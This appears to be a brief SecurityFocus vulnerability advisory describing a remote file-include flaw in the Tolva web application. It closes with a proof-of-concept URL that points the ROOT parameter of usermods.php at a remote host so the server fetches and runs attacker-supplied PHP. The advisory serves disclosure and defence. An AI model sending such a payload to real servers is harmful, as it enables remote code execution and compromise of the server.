source: http://www.securityfocus.com/bid/16000/info

Tolva is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/twebs/modules/misc/usermods.php?ROOT=http://www.example.com 